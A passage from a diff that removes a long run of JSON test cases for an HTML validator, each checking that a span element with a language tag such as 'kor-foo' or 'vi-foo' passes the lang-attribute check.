-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smn-foo'",
-"input": "<span lang=smn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smj-foo'",
-"input": "<span lang=smj-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smi-foo'",
-"input": "<span lang=smi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nic-foo'",
-"input": "<span lang=nic-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rm-foo'",
-"input": "<span lang=rm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rn-foo'",
-"input": "<span lang=rn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ro-foo'",
-"input": "<span lang=ro-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dsb-foo'",
-"input": "<span lang=dsb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sma-foo'",
-"input": "<span lang=sma-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gor-foo'",
-"input": "<span lang=gor-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ast-foo'",
-"input": "<span lang=ast-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'orm-foo'",
-"input": "<span lang=orm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'que-foo'",
-"input": "<span lang=que-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ori-foo'",
-"input": "<span lang=ori-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'crh-foo'",
-"input": "<span lang=crh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'asm-foo'",
-"input": "<span lang=asm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pus-foo'",
-"input": "<span lang=pus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kik-foo'",
-"input": "<span lang=kik-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ltz-foo'",
-"input": "<span lang=ltz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ath-foo'",
-"input": "<span lang=ath-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wln-foo'",
-"input": "<span lang=wln-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'isl-foo'",
-"input": "<span lang=isl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xh-foo'",
-"input": "<span lang=xh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mag-foo'",
-"input": "<span lang=mag-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mai-foo'",
-"input": "<span lang=mai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xx-foo'",
-"input": "<span lang=xx-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mah-foo'",
-"input": "<span lang=mah-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tel-foo'",
-"input": "<span lang=tel-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lav-foo'",
-"input": "<span lang=lav-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zap-foo'",
-"input": "<span lang=zap-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yid-foo'",
-"input": "<span lang=yid-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kok-foo'",
-"input": "<span lang=kok-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kom-foo'",
-"input": "<span lang=kom-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kon-foo'",
-"input": "<span lang=kon-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ukr-foo'",
-"input": "<span lang=ukr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ton-foo'",
-"input": "<span lang=ton-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kos-foo'",
-"input": "<span lang=kos-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kor-foo'",
-"input": "<span lang=kor-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tog-foo'",
-"input": "<span lang=tog-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hun-foo'",
-"input": "<span lang=hun-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hup-foo'",
-"input": "<span lang=hup-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cym-foo'",
-"input": "<span lang=cym-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'udm-foo'",
-"input": "<span lang=udm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bej-foo'",
-"input": "<span lang=bej-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ben-foo'",
-"input": "<span lang=ben-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bel-foo'",
-"input": "<span lang=bel-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bem-foo'",
-"input": "<span lang=bem-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tsi-foo'",
-"input": "<span lang=tsi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aar-foo'",
-"input": "<span lang=aar-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ber-foo'",
-"input": "<span lang=ber-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nzi-foo'",
-"input": "<span lang=nzi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sai-foo'",
-"input": "<span lang=sai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ang-foo'",
-"input": "<span lang=ang-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pra-foo'",
-"input": "<span lang=pra-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'san-foo'",
-"input": "<span lang=san-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bho-foo'",
-"input": "<span lang=bho-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sal-foo'",
-"input": "<span lang=sal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pro-foo'",
-"input": "<span lang=pro-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'raj-foo'",
-"input": "<span lang=raj-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sad-foo'",
-"input": "<span lang=sad-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'anp-foo'",
-"input": "<span lang=anp-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rap-foo'",
-"input": "<span lang=rap-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sas-foo'",
-"input": "<span lang=sas-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iba-foo'",
-"input": "<span lang=iba-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'myn-foo'",
-"input": "<span lang=myn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'min-foo'",
-"input": "<span lang=min-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lim-foo'",
-"input": "<span lang=lim-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lin-foo'",
-"input": "<span lang=lin-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nah-foo'",
-"input": "<span lang=nah-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lit-foo'",
-"input": "<span lang=lit-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'efi-foo'",
-"input": "<span lang=efi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srn-foo'",
-"input": "<span lang=srn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arn-foo'",
-"input": "<span lang=arn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ypk-foo'",
-"input": "<span lang=ypk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mis-foo'",
-"input": "<span lang=mis-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kac-foo'",
-"input": "<span lang=kac-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kab-foo'",
-"input": "<span lang=kab-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kaa-foo'",
-"input": "<span lang=kaa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kan-foo'",
-"input": "<span lang=kan-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kam-foo'",
-"input": "<span lang=kam-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kal-foo'",
-"input": "<span lang=kal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kas-foo'",
-"input": "<span lang=kas-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kar-foo'",
-"input": "<span lang=kar-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kaw-foo'",
-"input": "<span lang=kaw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kau-foo'",
-"input": "<span lang=kau-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kat-foo'",
-"input": "<span lang=kat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kaz-foo'",
-"input": "<span lang=kaz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tyv-foo'",
-"input": "<span lang=tyv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'awa-foo'",
-"input": "<span lang=awa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'urd-foo'",
-"input": "<span lang=urd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ka-foo'",
-"input": "<span lang=ka-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'doi-foo'",
-"input": "<span lang=doi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kg-foo'",
-"input": "<span lang=kg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kk-foo'",
-"input": "<span lang=kk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kj-foo'",
-"input": "<span lang=kj-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ki-foo'",
-"input": "<span lang=ki-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ko-foo'",
-"input": "<span lang=ko-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kn-foo'",
-"input": "<span lang=kn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'km-foo'",
-"input": "<span lang=km-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kl-foo'",
-"input": "<span lang=kl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ks-foo'",
-"input": "<span lang=ks-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kr-foo'",
-"input": "<span lang=kr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kw-foo'",
-"input": "<span lang=kw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kv-foo'",
-"input": "<span lang=kv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ku-foo'",
-"input": "<span lang=ku-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ky-foo'",
-"input": "<span lang=ky-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ota-foo'",
-"input": "<span lang=ota-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kut-foo'",
-"input": "<span lang=kut-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tkl-foo'",
-"input": "<span lang=tkl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nld-foo'",
-"input": "<span lang=nld-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oji-foo'",
-"input": "<span lang=oji-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oci-foo'",
-"input": "<span lang=oci-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ha-foo'",
-"input": "<span lang=ha-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wol-foo'",
-"input": "<span lang=wol-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jav-foo'",
-"input": "<span lang=jav-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hrv-foo'",
-"input": "<span lang=hrv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ger-foo'",
-"input": "<span lang=ger-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mga-foo'",
-"input": "<span lang=mga-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hit-foo'",
-"input": "<span lang=hit-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dyu-foo'",
-"input": "<span lang=dyu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ssw-foo'",
-"input": "<span lang=ssw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'de-foo'",
-"input": "<span lang=de-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'da-foo'",
-"input": "<span lang=da-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dz-foo'",
-"input": "<span lang=dz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lui-foo'",
-"input": "<span lang=lui-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dv-foo'",
-"input": "<span lang=dv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ita-foo'",
-"input": "<span lang=ita-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'geo-foo'",
-"input": "<span lang=geo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'him-foo'",
-"input": "<span lang=him-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gem-foo'",
-"input": "<span lang=gem-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'crp-foo'",
-"input": "<span lang=crp-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'qu-foo'",
-"input": "<span lang=qu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bas-foo'",
-"input": "<span lang=bas-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'baq-foo'",
-"input": "<span lang=baq-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bad-foo'",
-"input": "<span lang=bad-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nep-foo'",
-"input": "<span lang=nep-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cre-foo'",
-"input": "<span lang=cre-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ban-foo'",
-"input": "<span lang=ban-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'x-foo'",
-"input": "<span lang=x-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bal-foo'",
-"input": "<span lang=bal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bam-foo'",
-"input": "<span lang=bam-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bak-foo'",
-"input": "<span lang=bak-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'shn-foo'",
-"input": "<span lang=shn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bai-foo'",
-"input": "<span lang=bai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arp-foo'",
-"input": "<span lang=arp-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'art-foo'",
-"input": "<span lang=art-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arw-foo'",
-"input": "<span lang=arw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'qtz-foo'",
-"input": "<span lang=qtz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ara-foo'",
-"input": "<span lang=ara-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arc-foo'",
-"input": "<span lang=arc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arg-foo'",
-"input": "<span lang=arg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sem-foo'",
-"input": "<span lang=sem-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sel-foo'",
-"input": "<span lang=sel-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nub-foo'",
-"input": "<span lang=nub-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arm-foo'",
-"input": "<span lang=arm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'btk-foo'",
-"input": "<span lang=btk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lus-foo'",
-"input": "<span lang=lus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iku-foo'",
-"input": "<span lang=iku-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mus-foo'",
-"input": "<span lang=mus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lua-foo'",
-"input": "<span lang=lua-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lub-foo'",
-"input": "<span lang=lub-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lug-foo'",
-"input": "<span lang=lug-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ira-foo'",
-"input": "<span lang=ira-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mun-foo'",
-"input": "<span lang=mun-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tur-foo'",
-"input": "<span lang=tur-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lun-foo'",
-"input": "<span lang=lun-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'luo-foo'",
-"input": "<span lang=luo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'men-foo'",
-"input": "<span lang=men-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wa-foo'",
-"input": "<span lang=wa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tso-foo'",
-"input": "<span lang=tso-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wo-foo'",
-"input": "<span lang=wo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jv-foo'",
-"input": "<span lang=jv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tut-foo'",
-"input": "<span lang=tut-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ind-foo'",
-"input": "<span lang=ind-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tuk-foo'",
-"input": "<span lang=tuk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tum-foo'",
-"input": "<span lang=tum-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ja-foo'",
-"input": "<span lang=ja-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cop-foo'",
-"input": "<span lang=cop-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cos-foo'",
-"input": "<span lang=cos-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cor-foo'",
-"input": "<span lang=cor-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ilo-foo'",
-"input": "<span lang=ilo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fiu-foo'",
-"input": "<span lang=fiu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gwi-foo'",
-"input": "<span lang=gwi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'und-foo'",
-"input": "<span lang=und-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gws-foo'",
-"input": "<span lang=gws-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tli-foo'",
-"input": "<span lang=tli-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tlh-foo'",
-"input": "<span lang=tlh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nno-foo'",
-"input": "<span lang=nno-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ch-foo'",
-"input": "<span lang=ch-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'co-foo'",
-"input": "<span lang=co-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ca-foo'",
-"input": "<span lang=ca-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'por-foo'",
-"input": "<span lang=por-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ce-foo'",
-"input": "<span lang=ce-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pon-foo'",
-"input": "<span lang=pon-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cy-foo'",
-"input": "<span lang=cy-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sah-foo'",
-"input": "<span lang=sah-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cs-foo'",
-"input": "<span lang=cs-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cr-foo'",
-"input": "<span lang=cr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ady-foo'",
-"input": "<span lang=ady-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cv-foo'",
-"input": "<span lang=cv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cu-foo'",
-"input": "<span lang=cu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ps-foo'",
-"input": "<span lang=ps-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fra-foo'",
-"input": "<span lang=fra-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dum-foo'",
-"input": "<span lang=dum-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pt-foo'",
-"input": "<span lang=pt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'swa-foo'",
-"input": "<span lang=swa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dua-foo'",
-"input": "<span lang=dua-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fro-foo'",
-"input": "<span lang=fro-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yap-foo'",
-"input": "<span lang=yap-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'frm-foo'",
-"input": "<span lang=frm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tiv-foo'",
-"input": "<span lang=tiv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'frs-foo'",
-"input": "<span lang=frs-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'frr-foo'",
-"input": "<span lang=frr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yao-foo'",
-"input": "<span lang=yao-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pa-foo'",
-"input": "<span lang=pa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xal-foo'",
-"input": "<span lang=xal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fry-foo'",
-"input": "<span lang=fry-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pi-foo'",
-"input": "<span lang=pi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dut-foo'",
-"input": "<span lang=dut-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pl-foo'",
-"input": "<span lang=pl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gay-foo'",
-"input": "<span lang=gay-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oto-foo'",
-"input": "<span lang=oto-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sag-foo'",
-"input": "<span lang=sag-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hmn-foo'",
-"input": "<span lang=hmn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hmo-foo'",
-"input": "<span lang=hmo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'an-foo'",
-"input": "<span lang=an-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gaa-foo'",
-"input": "<span lang=gaa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fur-foo'",
-"input": "<span lang=fur-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mlg-foo'",
-"input": "<span lang=mlg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'slv-foo'",
-"input": "<span lang=slv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ain-foo'",
-"input": "<span lang=ain-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fil-foo'",
-"input": "<span lang=fil-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mlt-foo'",
-"input": "<span lang=mlt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'slk-foo'",
-"input": "<span lang=slk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rar-foo'",
-"input": "<span lang=rar-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ful-foo'",
-"input": "<span lang=ful-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sla-foo'",
-"input": "<span lang=sla-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 've-foo'",
-"input": "<span lang=ve-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jpn-foo'",
-"input": "<span lang=jpn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vol-foo'",
-"input": "<span lang=vol-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vi-foo'",
-"input": "<span lang=vi-foo>",
-"fail-if": "invalid-lang-code"},
-
